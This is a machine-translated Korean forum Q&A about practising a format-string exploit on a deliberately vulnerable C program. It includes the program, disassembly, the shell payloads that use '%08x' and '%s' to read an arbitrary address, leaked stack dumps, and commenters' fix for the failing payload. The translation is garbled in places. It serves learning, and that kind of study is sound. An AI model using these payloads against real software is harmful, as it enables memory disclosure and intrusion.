1
연습용으로 포맷 문자열 취약점을 악용하려고하지만 뭔가 잘못되었습니다. 내 목표는 내가 선택한 특정 주소에서 읽기 위해 그러한 버그를 악용하는 것입니다.형식 문자열 취약점 연습
#include <stdio.h>
void main(int argv, char *argv[]){
printf(argv[1]);
}
이 프로그램은 2.6.20 리눅스 커널을 장착의 x86 시스템에서 실행됩니다 :
이
내가 악용하기 위해 노력하고있어 코드입니다.echo 0 > /proc/sys/kernel/randomize_va_space
...
80483cb: e8 e8 fe ff ff call 80482b8 <[email protected]>
80483cb: e8 e8 fe ff ff call 80482b8 <[email protected]>
80483d0: 83 c4 10 add $0x10,%esp
80483d3: b8 00 00 00 00 mov $0x0,%eax
...
./print AAAA`perl -e 'print "%08x."x141'`
AAAA00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0.
bffff108.b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108.
bffff0b0.b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0.
b7ff66b0.b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0.
08048440.b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2ac.bffff2b4.00000000.bffff57a.bffff5dd.
bffff5f1.bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701.
bffff711.bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc.
bffffce7.bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2.
bfffff0a.bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e.
bfffffb7.bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010.
078bfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.
00000007.00000007.b7fea000.00000008.00000000.00000009.080482d0.0000000b.00000000.0000000c.
00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.0000000f.bffff29b.00000000.
00000000.00000000.00000000.00000000.69000000.00363836.00000000.00000000.00000000.72702f2e.
00746e69.41414141.
마지막으로 내가 시도 :
내가하고있는 메모리 주소를 저장하는 정확한 위치를 발견했습니다 그 바이트를 볼 수 있도록하기 전에
이./print $(printf "\xcb\x83\x04\x08")`perl -e 'print "%08x."x140 . "%s"'`
하지만 내가 가진 것은 잘못이다 : 위의 바이트가하고 인쇄하는 것은
00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0.bffff108.
b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108.bffff0b0.
b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0.b7ff66b0.
b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0.08048440.
b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2af.bffff2b7.00000000.bffff57a.bffff5dd.bffff5f1.
bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701.bffff711.
bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc.bffffce7.
bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2.bfffff0a.
bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e.bfffffb7.
bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010.078bfbff.
00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.
00000007.b7fea000.00000008.000Segmentationfault
내가 기대하는 것은 화면에 문자의 집합을 얻을이었다 첫 번째 \ x00까지 사용한 주소의 바이트 수입니다. 내가 뭘 잘못하고 있니?
우분투 12.04.04 LTS VM에서 시험해 보았습니다. ASLR 비활성화 됨 (여기서는 중요하지 않음). 첫 번째 명령은 709 바이트 길이의 문자열을 생성합니다 :'echo -n AAAA'perl -e 'print "% 08x."x141'' | wc -c'. 두 번째 명령은 707 바이트를 생성합니다 :'echo -n $ (printf "\ xcb \ x83 \ x04 \ x08")'perl -e 'print "% 08x"x140. "% s" ';'| wc -c'. 두 명령을 정확히 같은 길이로 만들면 제대로 작동합니다. – mofoe
답변 해 주셔서 감사합니다. 나는 당신이 제안한 것을 시도했다. (% 08x 대신에 직접 % x를 사용하라) 작동한다. 그래도 내 솔루션이 작동해서는 안되는 이유를 알고 싶습니다. 그 % 08x을 이해합니다. % s보다 3 바이트 이상이지만, 스택에있는 마지막 바이트 (상위 주소) 인 것처럼 문자열 포인터와 문자열 자체 사이의 거리를 혼동해서는 안됩니다. 그리고 내가 아는 한이게 중요한 것인가? 내가 틀렸어? – badnack
죄송합니다. 회신하는 순간에 의견을 수정했습니다. 지금 일합니다. 문제는 정말로 그 3 바이트 때문이었습니다. – badnack